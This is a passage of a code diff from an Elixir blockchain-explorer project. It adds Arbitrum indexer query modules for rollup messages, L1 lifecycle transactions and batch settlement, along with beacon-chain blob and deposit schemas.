""" + @spec logs_for_missed_messages_from_l2(non_neg_integer(), non_neg_integer(), binary(), binary()) :: [Log.t()] + def logs_for_missed_messages_from_l2(start_block, end_block, arbsys_contract, l2_to_l1_event) do + # credo:disable-for-lines:5 Credo.Check.Refactor.PipeChainStart + missed_messages_from_l2_query(arbsys_contract, l2_to_l1_event, start_block, end_block) + |> where([log, msg], log.block_number >= ^start_block and log.block_number <= ^end_block) + |> order_by(desc: :block_number, desc: :index) + |> select([log], log) + |> Repo.all() + end + + # Constructs a query to retrieve missed L2-to-L1 messages. + # + # The function constructs a query to identify missing messages by checking logs + # for the specified L2-to-L1 and verifying if there are corresponding entries + # in the messages table within a given block range, or among all messages if no + # block range is provided. A message is considered missed if there is a log + # entry without a matching message record. + # + # ## Parameters + # - `arbsys_contract`: The address hash of the Arbitrum system contract. + # - `l2_to_l1_event`: The event identifier for L2 to L1 messages. + # - `start_block`: The starting block number for the search range (optional). + # - `end_block`: The ending block number for the search range (optional). + # + # ## Returns + # - A query to retrieve missed L2-to-L1 messages. + @spec missed_messages_from_l2_query(binary(), binary(), non_neg_integer() | nil, non_neg_integer() | nil) :: + Ecto.Query.t() + defp missed_messages_from_l2_query(arbsys_contract, l2_to_l1_event, start_block \\ nil, end_block \\ nil) do + # It is assumed that all the messages from the same transaction are handled + # atomically so there is no need to check the message_id for each log entry. + # Otherwise, the join condition must be extended with + # fragment("encode(l0.fourth_topic, 'hex') = LPAD(TO_HEX(a1.message_id::BIGINT), 64, '0')") + base_condition = + dynamic([log, msg], log.transaction_hash == msg.originating_transaction_hash and msg.direction == :from_l2) + + join_condition = + if is_nil(start_block) or is_nil(end_block) do + base_condition + else + dynamic( + [_, msg], + ^base_condition and + msg.originating_transaction_block_number >= ^start_block and + msg.originating_transaction_block_number <= ^end_block + ) + end + + from(log in Log, + left_join: msg in Message, + on: ^join_condition, + where: + log.address_hash == ^arbsys_contract and log.first_topic == ^l2_to_l1_event and + is_nil(msg.originating_transaction_hash) + ) + end + + @doc """ + Retrieves the message IDs of uncompleted L1-to-L2 messages. + + ## Returns + - A list of the message IDs of uncompleted L1-to-L2 messages. + """ + @spec get_uncompleted_l1_to_l2_messages_ids() :: [non_neg_integer()] + def get_uncompleted_l1_to_l2_messages_ids do + query = + from(msg in Message, + where: msg.direction == :to_l2 and is_nil(msg.completion_transaction_hash), + select: msg.message_id + ) + + Repo.all(query) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/parent_chain_transactions.ex b/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/parent_chain_transactions.ex new file mode 100644 index 000000000000..42543965e8d2 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/parent_chain_transactions.ex @@ -0,0 +1,115 @@ +defmodule Explorer.Chain.Arbitrum.Reader.Indexer.ParentChainTransactions do + @moduledoc """ + Provides functions for querying Arbitrum L1 (parent chain) lifecycle transactions. + + Lifecycle transactions are parent chain transactions that affect the state of the Arbitrum + rollup. These transactions can be: + * Batch commitment transactions created by the sequencer + * State root confirmation transactions after fraud proof window expiration + * User-initiated transactions executing messages from the rollup + """ + + import Ecto.Query, only: [from: 2] + + alias Explorer.Chain.Arbitrum.LifecycleTransaction + alias Explorer.Chain.Block, as: FullBlock + alias Explorer.Chain.Hash + alias Explorer.Repo + + @doc """ + Reads a list of L1 transactions by their hashes from the `arbitrum_lifecycle_l1_transactions` table and returns their IDs. + + ## Parameters + - `l1_transaction_hashes`: A list of hashes to retrieve L1 transactions for. + + ## Returns + - A list of tuples containing transaction hashes and IDs for the transaction + hashes from the input list. The output list may be smaller than the input + list. + """ + @spec lifecycle_transaction_ids([binary()]) :: [{Hash.t(), non_neg_integer}] + def lifecycle_transaction_ids(l1_transaction_hashes) when is_list(l1_transaction_hashes) do + query = + from( + lt in LifecycleTransaction, + select: {lt.hash, lt.id}, + where: lt.hash in ^l1_transaction_hashes + ) + + Repo.all(query) + end + + @doc """ + Reads a list of L1 transactions by their hashes from the `arbitrum_lifecycle_l1_transactions` table. + + ## Parameters + - `l1_transaction_hashes`: A list of hashes to retrieve L1 transactions for. + + ## Returns + - A list of `Explorer.Chain.Arbitrum.LifecycleTransaction` corresponding to the + hashes from the input list. The output list may be smaller than the input + list. + """ + @spec lifecycle_transactions([binary()]) :: [LifecycleTransaction.t()] + def lifecycle_transactions(l1_transaction_hashes) when is_list(l1_transaction_hashes) do + query = + from( + lt in LifecycleTransaction, + where: lt.hash in ^l1_transaction_hashes + ) + + Repo.all(query) + end + + @doc """ + Determines the next index for the L1 transaction available in the `arbitrum_lifecycle_l1_transactions` table. + + ## Returns + - The next available index. If there are no L1 transactions imported yet, it will return `1`. + """ + @spec next_lifecycle_transaction_id() :: non_neg_integer + def next_lifecycle_transaction_id do + query = + from(lt in LifecycleTransaction, + select: lt.id, + order_by: [desc: lt.id], + limit: 1 + ) + + last_id = + query + |> Repo.one() + |> Kernel.||(0) + + last_id + 1 + end + + @doc """ + Retrieves unfinalized L1 transactions from the `LifecycleTransaction` table that are + involved in changing the statuses of rollup blocks or transactions. + + An L1 transaction is considered unfinalized if it has not yet reached a state where + it is permanently included in the blockchain, meaning it is still susceptible to + potential reorganization or change. Transactions are evaluated against the `finalized_block` + parameter to determine their finalized status. + + ## Parameters + - `finalized_block`: The L1 block number above which transactions are considered finalized. + Transactions in blocks higher than this number are not included in the results. + + ## Returns + - A list of `Explorer.Chain.Arbitrum.LifecycleTransaction` representing unfinalized transactions, + or `[]` if no unfinalized transactions are found. + """ + @spec lifecycle_unfinalized_transactions(FullBlock.block_number()) :: [LifecycleTransaction.t()] + def lifecycle_unfinalized_transactions(finalized_block) + when is_integer(finalized_block) and finalized_block >= 0 do + query = + from( + lt in LifecycleTransaction, + where: lt.block_number <= ^finalized_block and lt.status == :unfinalized + ) + + Repo.all(query) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/settlement.ex b/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/settlement.ex new file mode 100644 index 000000000000..ba9ee0762eda --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/settlement.ex @@ -0,0 +1,632 @@ +defmodule Explorer.Chain.Arbitrum.Reader.Indexer.Settlement do + @moduledoc """ + Provides database query functions for retrieving information about Arbitrum rollup batches + and state confirmations on the L1 chain. + + This module focuses on reading settlement-related data for the Arbitrum indexer, including: + + * L1 batches - Sequential groups of L2 blocks committed to L1 via commitment transactions + * Batch blocks - Individual L2 blocks included in L1 batches + * Block confirmations - L1 transactions that confirm the state of L2 blocks + * Data availability records - Additional data associated with batches (e.g., AnyTrust keysets) + """ + + import Ecto.Query, only: [from: 2] + + alias Explorer.Chain.Arbitrum.{ + BatchBlock, + DaMultiPurposeRecord, + L1Batch + } + + alias Explorer.Chain.Arbitrum.Reader.Common + + alias Explorer.{Chain, Repo} + + alias Explorer.Chain.Block, as: FullBlock + + @doc """ + Retrieves the number of the latest L1 block where the commitment transaction with a batch was included. + + As per the Arbitrum rollup nature, from the indexer's point of view, a batch does not exist until + the commitment transaction is submitted to L1. Therefore, the situation where a batch exists but + there is no commitment transaction is not possible. + + ## Returns + - The number of the L1 block, or `nil` if no rollup batches are found, or if the association between the batch + and the commitment transaction has been broken due to database inconsistency. + """ + @spec l1_block_of_latest_committed_batch() :: FullBlock.block_number() | nil + def l1_block_of_latest_committed_batch do + query = + from(batch in L1Batch, + order_by: [desc: batch.number], + limit: 1 + ) + + case query + # :required is used since the situation when commit transaction is not found is not possible + |> Chain.join_associations(%{:commitment_transaction => :required}) + |> Repo.one(timeout: :infinity) do + nil -> nil + batch -> batch.commitment_transaction.block_number + end + end + + @doc """ + Retrieves the number of the earliest L1 block where the commitment transaction with a batch was included. + + As per the Arbitrum rollup nature, from the indexer's point of view, a batch does not exist until + the commitment transaction is submitted to L1. Therefore, the situation where a batch exists but + there is no commitment transaction is not possible. + + ## Returns + - The number of the L1 block, or `nil` if no rollup batches are found, or if the association between the batch + and the commitment transaction has been broken due to database inconsistency. + """ + @spec l1_block_of_earliest_committed_batch() :: FullBlock.block_number() | nil + def l1_block_of_earliest_committed_batch do + query = + from(batch in L1Batch, + order_by: [asc: batch.number], + limit: 1 + ) + + case query + # :required is used since the situation when commit transaction is not found is not possible + |> Chain.join_associations(%{:commitment_transaction => :required}) + |> Repo.one(timeout: :infinity) do + nil -> nil + batch -> batch.commitment_transaction.block_number + end + end + + @doc """ + Retrieves the block number of the highest rollup block that has been included in a batch. + + ## Returns + - The number of the highest rollup block included in a batch, or `nil` if no rollup batches are found. + """ + @spec highest_committed_block() :: FullBlock.block_number() | nil + def highest_committed_block do + query = + from(batch in L1Batch, + select: batch.end_block, + order_by: [desc: batch.number], + limit: 1 + ) + + query + |> Repo.one() + end + + @doc """ + Gets the rollup block number by the hash of the block. Lookup is performed only + for blocks explicitly included in a batch, i.e., the batch has been identified by + the corresponding fetcher. The function may return `nil` as a successful response + if the batch containing the rollup block has not been indexed yet. + + ## Parameters + - `block_hash`: The hash of a block included in the batch. + + ## Returns + - the number of the rollup block corresponding to the given hash or `nil` if the + block or batch were not indexed yet. + """ + @spec rollup_block_hash_to_num(binary()) :: FullBlock.block_number() | nil + def rollup_block_hash_to_num(block_hash) when is_binary(block_hash) do + query = + from( + fb in FullBlock, + inner_join: rb in BatchBlock, + on: rb.block_number == fb.number, + select: fb.number, + where: fb.hash == ^block_hash + ) + + query + |> Repo.one() + end + + @doc """ + Checks if the numbers from the provided list correspond to the numbers of indexed batches. + + ## Parameters + - `batches_numbers`: The list of batch numbers. + + ## Returns + - A list of batch numbers that are indexed and match the provided list, or `[]` + if none of the batch numbers in the provided list exist in the database. The output list + may be smaller than the input list. + """ + @spec batches_exist(maybe_improper_list(non_neg_integer(), [])) :: [non_neg_integer] + def batches_exist(batches_numbers) when is_list(batches_numbers) do + query = + from( + batch in L1Batch, + select: batch.number, + where: batch.number in ^batches_numbers + ) + + query + |> Repo.all() + end + + @doc """ + Retrieves the batch in which the rollup block, identified by the given block number, was included. + + ## Parameters + - `number`: The number of a rollup block. + + ## Returns + - An instance of `Explorer.Chain.Arbitrum.L1Batch` representing the batch containing + the specified rollup block number, or `nil` if no corresponding batch is found. + """ + @spec get_batch_by_rollup_block_number(FullBlock.block_number()) :: L1Batch.t() | nil + def get_batch_by_rollup_block_number(number) + when is_integer(number) and number >= 0 do + query = + from(batch in L1Batch, + # end_block has higher number than start_block + where: batch.end_block >= ^number and batch.start_block <= ^number + ) + + query + # :required is used since the situation when commit transaction is not found is not possible + |> Chain.join_associations(%{:commitment_transaction => :required}) + |> Repo.one() + end + + @doc """ + Retrieves the batch by its number. + + ## Parameters + - `number`: The number of a rollup batch. + + ## Returns + - An instance of `Explorer.Chain.Arbitrum.L1Batch`, or `nil` if no batch with + such a number is found. + """ + @spec get_batch_by_number(non_neg_integer()) :: L1Batch.t() | nil + def get_batch_by_number(number) do + query = + from(batch in L1Batch, + where: batch.number == ^number + ) + + query + |> Repo.one() + end + + @doc """ + Retrieves the L1 block number where the confirmation transaction of the highest confirmed rollup block was included. + + ## Returns + - The L1 block number if a confirmed rollup block is found and the confirmation transaction is indexed; + `nil` if no confirmed rollup blocks are found or if there is a database inconsistency. + """ + @spec l1_block_of_latest_confirmed_block() :: FullBlock.block_number() | nil + def l1_block_of_latest_confirmed_block do + query = + from( + rb in BatchBlock, + where: not is_nil(rb.confirmation_id), + order_by: [desc: rb.block_number], + limit: 1 + ) + + case query + # :required is used since existence of the confirmation id is checked above + |> Chain.join_associations(%{:confirmation_transaction => :required}) + |> Repo.one(timeout: :infinity) do + nil -> + nil + + block -> + case block.confirmation_transaction do + # `nil` and `%Ecto.Association.NotLoaded{}` indicate DB inconsistency + nil -> nil + %Ecto.Association.NotLoaded{} -> nil + confirmation_transaction -> confirmation_transaction.block_number + end + end + end + + @doc """ + Retrieves the number of the highest confirmed rollup block. + + It calls `Common.highest_confirmed_block/1` with `api?: false` option to use + primary database. + + ## Returns + - The number of the highest confirmed rollup block, or `nil` if no confirmed rollup blocks are found. + """ + @spec highest_confirmed_block() :: FullBlock.block_number() | nil + def highest_confirmed_block do + Common.highest_confirmed_block(api?: false) + end + + @doc """ + Retrieves all rollup blocks within the specified range from `first_block` to `last_block`, inclusive. + + The results are ordered by block_number in descending order. + + ## Parameters + - `first_block`: The rollup block number starting the lookup range. + - `last_block`: The rollup block number ending the lookup range. + + ## Returns + - A list of blocks, ordered by block_number in descending order. Returns `[]` + if no blocks are found within the range. + """ + @spec rollup_blocks_by_range(FullBlock.block_number(), FullBlock.block_number()) :: [BatchBlock.t()] + def rollup_blocks_by_range(first_block, last_block) + when is_integer(first_block) and first_block >= 0 and + is_integer(last_block) and first_block <= last_block do + query = + from( + rb in BatchBlock, + where: rb.block_number >= ^first_block and rb.block_number <= ^last_block, + order_by: [desc: rb.block_number] + ) + + Repo.all(query) + end + + @doc """ + Retrieves all unconfirmed rollup blocks within the specified range from `first_block` to `last_block`, inclusive. + + The results are ordered by block_number in descending order to take advantage of the index + (confirmation_id, block_number DESC) where confirmation_id IS NULL. + + ## Parameters + - `first_block`: The rollup block number starting the lookup range. + - `last_block`:The rollup block number ending the lookup range. + + ## Returns + - A list of unconfirmed blocks within the range, ordered by block_number in + descending order. Returns `[]` if no unconfirmed blocks are found within + the range. + """ + @spec unconfirmed_rollup_blocks(FullBlock.block_number(), FullBlock.block_number()) :: [BatchBlock.t()] + def unconfirmed_rollup_blocks(first_block, last_block) + when is_integer(first_block) and first_block >= 0 and + is_integer(last_block) and first_block <= last_block do + query = + from( + rb in BatchBlock, + where: rb.block_number >= ^first_block and rb.block_number <= ^last_block and is_nil(rb.confirmation_id), + order_by: [desc: rb.block_number] + ) + + Repo.all(query) + end + + @doc """ + Calculates the number of confirmed rollup blocks in the specified batch. + + ## Parameters + - `batch_number`: The number of the batch for which the count of confirmed blocks is to be calculated. + + ## Returns + - The number of confirmed blocks in the batch with the given number. + """ + @spec count_confirmed_rollup_blocks_in_batch(non_neg_integer()) :: non_neg_integer + def count_confirmed_rollup_blocks_in_batch(batch_number) + when is_integer(batch_number) and batch_number >= 0 do + query = + from( + rb in BatchBlock, + where: rb.batch_number == ^batch_number and not is_nil(rb.confirmation_id) + ) + + Repo.aggregate(query, :count) + end + + @doc """ + Retrieves an AnyTrust keyset from the database using the provided keyset hash. + + It calls `Common.get_anytrust_keyset/1` with `api?: false` option to use + primary database. + + ## Parameters + - `keyset_hash`: A binary representing the hash of the keyset to be retrieved. + + ## Returns + - A map containing information about the AnyTrust keyset, otherwise an empty map. + """ + @spec get_anytrust_keyset(binary()) :: map() + def get_anytrust_keyset(keyset_hash) do + Common.get_anytrust_keyset(keyset_hash, api?: false) + end + + @doc """ + Retrieves the batch numbers of missing L1 batches within a specified range. + + This function constructs a query to find the batch numbers of L1 batches that + are missing within the given range of batch numbers. It uses a right join with + a generated series to identify batch numbers that do not exist in the + `arbitrum_l1_batches` table. + + ## Parameters + - `start_batch_number`: The starting batch number of the search range. + - `end_batch_number`: The ending batch number of the search range. + + ## Returns + - A list of batch numbers in ascending order that are missing within the specified range. + """ + @spec find_missing_batches(non_neg_integer(), non_neg_integer()) :: [non_neg_integer()] + def find_missing_batches(start_batch_number, end_batch_number) + when is_integer(start_batch_number) and is_integer(end_batch_number) and end_batch_number >= start_batch_number do + query = + from(batch in L1Batch, + right_join: + missing_range in fragment( + """ + ( + SELECT distinct b1.number + FROM generate_series((?)::integer, (?)::integer) AS b1(number) + WHERE NOT EXISTS + (SELECT 1 FROM arbitrum_l1_batches b2 WHERE b2.number=b1.number) + ORDER BY b1.number DESC + ) + """, + ^start_batch_number, + ^end_batch_number + ), + on: batch.number == missing_range.number, + select: missing_range.number, + order_by: missing_range.number, + distinct: missing_range.number + ) + + query + |> Repo.all() + end + + @doc """ + Retrieves L1 block numbers for the given list of batch numbers. + + This function finds the numbers of L1 blocks that include L1 transactions + associated with batches within the specified list of batch numbers. + + ## Parameters + - `batch_numbers`: A list of batch numbers for which to retrieve the L1 block numbers. + + ## Returns + - A map where the keys are batch numbers and the values are corresponding L1 block numbers. + """ + @spec get_l1_blocks_of_batches_by_numbers([non_neg_integer()]) :: %{non_neg_integer() => FullBlock.block_number()} + def get_l1_blocks_of_batches_by_numbers(batch_numbers) when is_list(batch_numbers) do + query = + from(batch in L1Batch, + join: l1tx in assoc(batch, :commitment_transaction), + where: batch.number in ^batch_numbers, + select: {batch.number, l1tx.block_number} + ) + + query + |> Repo.all() + |> Enum.reduce(%{}, fn {batch_number, l1_block_number}, acc -> + Map.put(acc, batch_number, l1_block_number) + end) + end + + @doc """ + Retrieves the minimum and maximum batch numbers of L1 batches. + + ## Returns + - A tuple containing the minimum and maximum batch numbers or `{nil, nil}` if no batches are found. + """ + @spec get_min_max_batch_numbers() :: {non_neg_integer() | nil, non_neg_integer() | nil} + def get_min_max_batch_numbers do + query = + from(batch in L1Batch, + select: {min(batch.number), max(batch.number)} + ) + + Repo.one(query, timeout: :infinity) + end + + @doc """ + Retrieves the L1 block number where the confirmation transaction for a specific rollup block was included. + + ## Parameters + - `rollup_block_number`: The number of the rollup block for which to find the confirmation L1 block. + + ## Returns + - `{:ok, block_number}` if the rollup block is confirmed and the confirmation transaction is indexed + - `{:not_confirmed, nil}` if the rollup block is not confirmed yet or not found + - `{:error, :inconsistent}` if there is a database inconsistency (confirmation transaction association is broken) + """ + @spec l1_block_of_confirmation_for_rollup_block(FullBlock.block_number()) :: + {:ok, FullBlock.block_number()} + | {:not_confirmed, nil} + | {:error, :inconsistent} + def l1_block_of_confirmation_for_rollup_block(rollup_block_number) + when is_integer(rollup_block_number) and rollup_block_number >= 0 do + base_query = + from( + rb in BatchBlock, + where: rb.block_number == ^rollup_block_number and not is_nil(rb.confirmation_id) + ) + + case base_query + |> Chain.join_associations(%{:confirmation_transaction => :required}) + |> Repo.one(timeout: :infinity) do + nil -> + {:not_confirmed, nil} + + block -> + case block.confirmation_transaction do + nil -> {:error, :inconsistent} + %Ecto.Association.NotLoaded{} -> {:error, :inconsistent} + confirmation_transaction -> {:ok, confirmation_transaction.block_number} + end + end + end + + @doc """ + Retrieves the number of the highest unconfirmed rollup block that is below a given block number. + + ## Parameters + - `block_number`: The rollup block number above which to search for unconfirmed blocks. + + ## Returns + - The number of the highest unconfirmed rollup block below the given block number, + or `nil` if no unconfirmed rollup blocks are found below that number. + """ + @spec highest_unconfirmed_block_below(FullBlock.block_number()) :: FullBlock.block_number() | nil + def highest_unconfirmed_block_below(block_number) + when is_integer(block_number) and block_number >= 0 do + query = + from( + rb in BatchBlock, + where: rb.block_number < ^block_number and is_nil(rb.confirmation_id), + select: rb.block_number, + order_by: [desc: rb.block_number], + limit: 1 + ) + + Repo.one(query) + end + + @doc """ + Retrieves the L1 block number where the confirmation transaction for the closest confirmed rollup block above a given block number was included. + + The function first checks if the next block (block_number + 1) is confirmed, as this + is the most common case. If not, it searches for the closest confirmed block above + the given block number and returns its L1 confirmation block number. + + ## Parameters + - `block_number`: The rollup block number below which to search for confirmed blocks. + + ## Returns + - `{:ok, l1_block}` if a confirmed block is found, where `l1_block` is the number + of the L1 block containing the confirmation transaction + - `{:error, :not_found}` if no confirmed blocks are found above the given block number + - `{:error, :inconsistent}` if there is a database inconsistency + """ + @spec l1_block_of_closest_confirmed_block_above(FullBlock.block_number()) :: + {:ok, FullBlock.block_number()} + | {:error, :not_found | :inconsistent} + def l1_block_of_closest_confirmed_block_above(block_number) + when is_integer(block_number) and block_number >= 0 do + # First try the next block as it's the most common case + next_block = block_number + 1 + + case l1_block_of_confirmation_for_rollup_block(next_block) do + {:ok, l1_block} -> + {:ok, l1_block} + + {:not_confirmed, nil} -> + # If next block is not confirmed, search for the closest confirmed block above + query = + from( + rb in BatchBlock, + inner_join: lt in assoc(rb, :confirmation_transaction), + where: rb.block_number > ^block_number and not is_nil(rb.confirmation_id), + select: lt.block_number, + order_by: [asc: rb.block_number], + limit: 1 + ) + + case Repo.one(query) do + nil -> {:error, :not_found} + l1_block -> {:ok, l1_block} + end + + {:error, :inconsistent} -> + {:error, :inconsistent} + end + end + + @doc """ + Retrieves the L1 block number where the confirmation transaction for the closest confirmed rollup block below a given block number was included. + + ## Parameters + - `block_number`: The rollup block number above which to search for confirmed blocks. + + ## Returns + - `{:ok, l1_block}` if a confirmed block is found, where `l1_block` is the number + of the L1 block containing the confirmation transaction + - `{:error, :not_found}` if no confirmed blocks are found below the given block number + - `{:error, :inconsistent}` if there is a database inconsistency + """ + @spec l1_block_of_closest_confirmed_block_below(FullBlock.block_number()) :: + {:ok, FullBlock.block_number()} + | {:error, :not_found | :inconsistent} + def l1_block_of_closest_confirmed_block_below(block_number) + when is_integer(block_number) and block_number >= 0 do + query = + from( + rb in BatchBlock, + inner_join: lt in assoc(rb, :confirmation_transaction), + where: rb.block_number < ^block_number and not is_nil(rb.confirmation_id), + select: lt.block_number, + order_by: [desc: rb.block_number], + limit: 1 + ) + + case Repo.one(query) do + nil -> {:error, :not_found} + l1_block -> {:ok, l1_block} + end + end + + @doc """ + Retrieves the L1 block number where the confirmation transaction for the earliest discovered rollup block was included. + + Note: Due to the asynchronous nature of different fetchers, this block may not be + the actual earliest block in the chain, nor the earliest block discovered by the + block fetcher. It represents only the earliest block that has been processed and + stored by the batch fetcher. + + This function assumes that at least one confirmed block has already been identified. + It should only be called after verifying that confirmed blocks exist in the database. + If no confirmed blocks are found, it raises an error. + + ## Returns + - The L1 block number containing the confirmation transaction for the earliest discovered block + + ## Raises + - RuntimeError if no confirmed blocks are found, which indicates a programming error + since the function should only be called when confirmed blocks exist + """ + @spec l1_block_of_earliest_block_confirmation() :: FullBlock.block_number() + def l1_block_of_earliest_block_confirmation do + query = + from( + rb in BatchBlock, + where: not is_nil(rb.confirmation_id), + join: lt in assoc(rb, :confirmation_transaction), + select: lt.block_number, + order_by: [asc: rb.block_number], + limit: 1 + ) + + case Repo.one(query) do + nil -> raise "No confirmed blocks found when at least one was expected" + l1_block -> l1_block + end + end + + @doc """ + Retrieves data availability records from the database for the given list of data keys. + + ## Parameters + - `data_keys`: A list of binary data keys to search for in the database. + + ## Returns + - A list of matching `DaMultiPurposeRecord` records, or an empty list if no matches are found. + """ + @spec da_records_by_keys([binary()]) :: [DaMultiPurposeRecord.t()] + def da_records_by_keys(data_keys) when is_list(data_keys) do + query = + from(record in DaMultiPurposeRecord, + where: record.data_key in ^data_keys + ) + + Repo.all(query) + end +end diff --git a/apps/explorer/lib/explorer/chain/beacon/blob.ex b/apps/explorer/lib/explorer/chain/beacon/blob.ex new file mode 100644 index 000000000000..d6cb28a27402 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/beacon/blob.ex @@ -0,0 +1,47 @@ +defmodule Explorer.Chain.Beacon.Blob do + @moduledoc "Models a data blob broadcasted using eip4844 blob transactions." + + use Explorer.Schema + + alias Explorer.Chain.{Data, Hash} + + @required_attrs ~w(hash blob_data kzg_commitment kzg_proof)a + + @type t :: %__MODULE__{ + hash: Hash.t(), + blob_data: Data.t(), + kzg_commitment: Data.t(), + kzg_proof: Data.t() + } + + @primary_key {:hash, Hash.Full, autogenerate: false} + schema "beacon_blobs" do + field(:blob_data, Data) + field(:kzg_commitment, Data) + field(:kzg_proof, Data) + + timestamps(updated_at: false) + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = struct, attrs \\ %{}) do + struct + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:hash) + end + + @doc """ + Returns the `hash` of the `t:Explorer.Chain.Beacon.Blob.t/0` as per EIP-4844. + """ + @spec hash(binary()) :: Hash.Full.t() + def hash(kzg_commitment) do + raw_hash = :crypto.hash(:sha256, kzg_commitment) + <<_::size(8), rest::binary>> = raw_hash + {:ok, hash} = Hash.Full.cast(<<1>> <> rest) + hash + end +end diff --git a/apps/explorer/lib/explorer/chain/beacon/blob_transaction.ex b/apps/explorer/lib/explorer/chain/beacon/blob_transaction.ex new file mode 100644 index 000000000000..59e3d400fefb --- /dev/null +++ b/apps/explorer/lib/explorer/chain/beacon/blob_transaction.ex @@ -0,0 +1,47 @@ +defmodule Explorer.Chain.Beacon.BlobTransaction do + @moduledoc "Models a transaction extension with extra fields from eip4844 blob transactions." + + use Explorer.Schema + + alias Explorer.Chain.{Hash, Transaction} + + @required_attrs ~w(hash max_fee_per_blob_gas blob_gas_price blob_gas_used blob_versioned_hashes)a + + @type t :: %__MODULE__{ + hash: Hash.t(), + max_fee_per_blob_gas: Decimal.t(), + blob_gas_price: Decimal.t(), + blob_gas_used: Decimal.t(), + blob_versioned_hashes: [Hash.t()] + } + + @primary_key {:hash, Hash.Full, autogenerate: false} + schema "beacon_blobs_transactions" do + field(:max_fee_per_blob_gas, :decimal) + field(:blob_gas_price, :decimal) + field(:blob_gas_used, :decimal) + field(:blob_versioned_hashes, {:array, Hash.Full}) + + belongs_to(:transaction, Transaction, + foreign_key: :hash, + primary_key: true, + references: :hash, + type: Hash.Full, + define_field: false + ) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Schema.t() + def changeset(%__MODULE__{} = struct, attrs \\ %{}) do + struct + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:hash) + |> unique_constraint(:hash) + end +end diff --git a/apps/explorer/lib/explorer/chain/beacon/deposit.ex b/apps/explorer/lib/explorer/chain/beacon/deposit.ex new file mode 100644 index 000000000000..e9aef4045ad2 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/beacon/deposit.ex @@ -0,0 +1,303 @@ +defmodule Explorer.Chain.Beacon.Deposit do + @moduledoc """ + Models a deposit in the beacon chain. + """ + + use Explorer.Schema + + alias Explorer.Chain.{Address, Block, Data, Hash, Log, Transaction, Wei} + alias Explorer.{Chain, Repo, SortingHelper} + + @deposit_event_signature "0x649BBC62D0E31342AFEA4E5CD82D4049E7E1EE912FC0889AA790803BE39038C5" + + @required_attrs ~w(pubkey withdrawal_credentials amount signature index block_number block_timestamp log_index status from_address_hash block_hash transaction_hash)a + + @statuses_enum ~w(invalid pending completed)a + + @primary_key false + typed_schema "beacon_deposits" do + field(:pubkey, Data, null: false) + field(:withdrawal_credentials, Data, null: false) + field(:amount, Wei, null: false) + field(:signature, Data, null: false) + field(:index, :integer, primary_key: true) + field(:block_number, :integer, null: false) + field(:block_timestamp, :utc_datetime_usec, null: false) + field(:log_index, :integer, null: false) + + field(:withdrawal_address_hash, Hash.Address, virtual: true) + + field(:status, Ecto.Enum, values: @statuses_enum, null: false) + + belongs_to(:withdrawal_address, Address, + foreign_key: :withdrawal_address_hash, + references: :hash, + define_field: false + ) + + belongs_to( + :from_address, + Address, + foreign_key: :from_address_hash, + references: :hash, + type: Hash.Address, + null: false + ) + + belongs_to(:block, Block, foreign_key: :block_hash, references: :hash, type: Hash.Full, null: false) + + belongs_to(:transaction, Transaction, + foreign_key: :transaction_hash, + references: :hash, + type: Hash.Full, + null: false + ) + + timestamps() + end + + @doc """ + Validates that the `attrs` are valid. + """ + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Changeset.t() + def changeset(deposit, attrs) do + deposit + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + end + + @spec statuses :: [atom()] + def statuses, do: @statuses_enum + + @sorting [desc: :index] + + @doc """ + Fetches beacon deposits with pagination and association preloading. + + Retrieves beacon deposits sorted by index in descending order (newest first). + For each deposit, extracts the withdrawal address from the withdrawal + credentials if they have prefix 0x01 or 0x02, making it available as a + virtual field for association preloading. + + ## Parameters + - `options`: A keyword list of options: + - `:paging_options` - Pagination configuration (defaults to + `Chain.default_paging_options()`). + - `:necessity_by_association` - A map specifying which associations to + preload and whether they are `:required` or `:optional`. + - `:api?` - Boolean flag for API context. + + ## Returns + - A list of beacon deposits with requested associations preloaded and + withdrawal addresses extracted where applicable. + """ + @spec all([Chain.paging_options() | Chain.necessity_by_association() | Chain.api?()]) :: [t()] + def all(options \\ []) do + beacon_deposits_list_query(:all, nil, options) + end + + @doc """ + Fetches beacon deposits from a specific block with pagination and association preloading. + + Retrieves all beacon deposits that were included in the specified block, + sorted by index in descending order (newest first). For each deposit, + extracts the withdrawal address from the withdrawal credentials if they have + prefix 0x01 or 0x02, making it available as a virtual field for association + preloading. + + ## Parameters + - `block_hash`: The hash of the block to fetch deposits from. + - `options`: A keyword list of options: + - `:paging_options` - Pagination configuration (defaults to + `Chain.default_paging_options()`). + - `:necessity_by_association` - A map specifying which associations to + preload and whether they are `:required` or `:optional`. + - `:api?` - Boolean flag for API context. + + ## Returns + - A list of beacon deposits from the specified block with requested + associations preloaded and withdrawal addresses extracted where applicable. + """ + @spec from_block_hash(Hash.Full.t(), [Chain.paging_options() | Chain.necessity_by_association() | Chain.api?()]) :: [ + t() + ] + def from_block_hash(block_hash, options \\ []) do + beacon_deposits_list_query(:block_hash, block_hash, options) + end + + @doc """ + Fetches beacon deposits from a specific transaction with pagination and association preloading. + + Retrieves all beacon deposits that were included in the specified transaction, + sorted by index in descending order (newest first). For each deposit, + extracts the withdrawal address from the withdrawal credentials if they have + prefix 0x01 or 0x02, making it available as a virtual field for association + preloading. + + ## Parameters + - `transaction_hash`: The hash of the transaction to fetch deposits from. + - `options`: A keyword list of options: + - `:paging_options` - Pagination configuration (defaults to + `Chain.default_paging_options()`). + - `:necessity_by_association` - A map specifying which associations to + preload and whether they are `:required` or `:optional`. + - `:api?` - Boolean flag for API context. + + ## Returns + - A list of beacon deposits from the specified transaction with requested + associations preloaded and withdrawal addresses extracted where 